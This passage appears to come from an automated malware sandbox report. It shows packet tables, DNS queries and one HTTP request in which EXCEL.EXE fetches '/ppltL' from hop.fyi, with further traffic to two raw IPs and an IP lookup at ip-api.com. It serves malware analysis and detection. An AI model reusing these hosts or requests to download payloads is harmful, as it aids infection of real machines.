Jul 3, 2024 18:03:46.656641960 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.656723022 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.697720051 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.697771072 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.697788000 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.697843075 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.697859049 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.697875977 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.697886944 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.697891951 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.697930098 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.698210001 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.698225975 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.698240995 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.698255062 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.698260069 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.698287964 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.698455095 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.698470116 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.698486090 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.698498964 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.698501110 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.698517084 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.698523998 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.698533058 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.698553085 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.698853016 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.698895931 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.698930979 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.698947906 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.698970079 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.698986053 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.698991060 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.699002981 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.699018955 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.699029922 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.699033022 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.699055910 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.699513912 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.699529886 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.699551105 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.699553967 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.699565887 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.699580908 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.699592113 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.699596882 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.699611902 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.699620008 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.699628115 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.699651003 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.700228930 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.700244904 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.700268030 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.700349092 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.700365067 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.700392008 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.700579882 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.700594902 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.700623989 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.700649977 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.700666904 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.700681925 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.700705051 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.701010942 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.701026917 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.701041937 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.701056004 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.701064110 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.701071978 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.701087952 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.701092958 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.701133013 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.701260090 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.701276064 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.701292038 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.701307058 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.701316118 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.701322079 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.701337099 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.701343060 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.701353073 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.701380968 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.701675892 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.701719046 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.703113079 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.703193903 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.703208923 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.703231096 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.704087973 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.704103947 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.704121113 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.704130888 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.704153061 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.704251051 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.704267979 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.704283953 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.704299927 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.704305887 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.704364061 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.704423904 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.704440117 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.704463959 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.704478979 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.704494953 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.704502106 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.704519033 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.704526901 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.704555988 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.704777956 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.704896927 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.704911947 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.704940081 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.704960108 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.704974890 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.704989910 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.704999924 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.705024958 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.742417097 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.742479086 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.742513895 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.742543936 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.742675066 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.742707968 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.742734909 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.742741108 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.742784023 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.786494970 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.786529064 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.786581039 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.786598921 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.786616087 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.786649942 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.786663055 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.786684036 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.786722898 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.786735058 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.786951065 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.786979914 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.787009954 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.787029982 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.787064075 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.787075996 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.787096977 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.787130117 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.787141085 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.787163019 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.787194967 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.787205935 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.787228107 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.787261963 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.787266970 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.787550926 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.787595987 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.787656069 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.787693024 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.787724972 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.787739038 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.787758112 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.787790060 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.787794113 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.787825108 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.787858009 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.787873983 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.787894011 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.787941933 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.788250923 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.788283110 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.788330078 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.788332939 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.788364887 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.788397074 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.788407087 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.788434029 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.788475990 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.788499117 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.788532019 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.788564920 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.788572073 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.789083004 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.789114952 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.789130926 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.789163113 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.789195061 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.789203882 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.789228916 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.789261103 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.789272070 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.789294004 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.789324999 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.789334059 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.789360046 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.789392948 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.789401054 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.789426088 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.789458036 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.789467096 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.789968014 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.790003061 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.790010929 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.790036917 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.790069103 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.790077925 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.790102005 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.790134907 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.790142059 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.790168047 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.790201902 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.790205956 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.790230989 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.790277958 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.791796923 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.791851044 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.791893005 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.791927099 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.791980028 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.792013884 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.792016029 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.792093992 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.792125940 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.792134047 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.792160988 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.792201996 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.792288065 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.792320013 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.792351961 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.792356968 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.792386055 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.792418957 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.792426109 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.792452097 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.792499065 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.792500019 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.792809010 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.792841911 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.792851925 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.792876005 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.792907000 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.792911053 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.792939901 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.792973042 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.792982101 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.793006897 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.793037891 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.793045044 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.793071032 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.793102980 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.793109894 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.793135881 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.793169022 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.793176889 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.793200970 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.793234110 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.793242931 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.793268919 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.793308973 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.793622971 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.793654919 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.793689013 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.793694973 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.793739080 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.793771982 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.793776989 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.793804884 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.793837070 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.793838978 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.793870926 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.793915987 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.794107914 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.794141054 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.794173002 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.794184923 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.794205904 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.794239044 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.794240952 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.794271946 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.794303894 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.794306040 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.794337988 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.794384956 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.794621944 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.794673920 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.794708014 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.794711113 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:47.006302118 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:47.007992029 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:47.008080006 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:47.042345047 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:47.045516968 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:47.045609951 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:47.108026981 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:52.334657907 CEST	49173	80	192.168.2.22	208.95.112.1
Jul 3, 2024 18:03:52.339576960 CEST	80	49173	208.95.112.1	192.168.2.22
Jul 3, 2024 18:03:52.339631081 CEST	49173	80	192.168.2.22	208.95.112.1
Jul 3, 2024 18:03:52.340533018 CEST	49173	80	192.168.2.22	208.95.112.1
Jul 3, 2024 18:03:52.345320940 CEST	80	49173	208.95.112.1	192.168.2.22
Jul 3, 2024 18:03:52.855227947 CEST	80	49173	208.95.112.1	192.168.2.22
Jul 3, 2024 18:03:53.064042091 CEST	80	49173	208.95.112.1	192.168.2.22
Jul 3, 2024 18:03:53.064107895 CEST	49173	80	192.168.2.22	208.95.112.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 3, 2024 18:03:26.137871981 CEST	54562	53	192.168.2.22	8.8.8.8
Jul 3, 2024 18:03:26.144912004 CEST	53	54562	8.8.8.8	192.168.2.22
Jul 3, 2024 18:03:27.659300089 CEST	52917	53	192.168.2.22	8.8.8.8
Jul 3, 2024 18:03:27.895956039 CEST	53	52917	8.8.8.8	192.168.2.22
Jul 3, 2024 18:03:27.897048950 CEST	52917	53	192.168.2.22	8.8.8.8
Jul 3, 2024 18:03:27.904735088 CEST	53	52917	8.8.8.8	192.168.2.22
Jul 3, 2024 18:03:51.713913918 CEST	62751	53	192.168.2.22	8.8.8.8
Jul 3, 2024 18:03:51.723656893 CEST	53	62751	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 3, 2024 18:03:26.137871981 CEST	192.168.2.22	8.8.8.8	0x84bb	Standard query (0)	hop.fyi	A (IP address)	IN (0x0001)	false
Jul 3, 2024 18:03:27.659300089 CEST	192.168.2.22	8.8.8.8	0xe13f	Standard query (0)	hop.fyi	A (IP address)	IN (0x0001)	false
Jul 3, 2024 18:03:27.897048950 CEST	192.168.2.22	8.8.8.8	0xe13f	Standard query (0)	hop.fyi	A (IP address)	IN (0x0001)	false
Jul 3, 2024 18:03:51.713913918 CEST	192.168.2.22	8.8.8.8	0x3f64	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jul 3, 2024 18:03:26.144912004 CEST	8.8.8.8	192.168.2.22	0x84bb	No error (0)	hop.fyi	192.185.89.92	A (IP address)	IN (0x0001)	false
Jul 3, 2024 18:03:27.895956039 CEST	8.8.8.8	192.168.2.22	0xe13f	No error (0)	hop.fyi	192.185.89.92	A (IP address)	IN (0x0001)	false
Jul 3, 2024 18:03:27.904735088 CEST	8.8.8.8	192.168.2.22	0xe13f	No error (0)	hop.fyi	192.185.89.92	A (IP address)	IN (0x0001)	false
Jul 3, 2024 18:03:51.723656893 CEST	8.8.8.8	192.168.2.22	0x3f64	No error (0)	ip-api.com	208.95.112.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

hop.fyi

198.46.178.144

94.156.65.247

91.92.254.194

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49165	192.185.89.92	80	1704	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 18:03:26.156271935 CEST	319	OUT	GET /ppltL HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: hop.fyi Connection: Keep-Alive
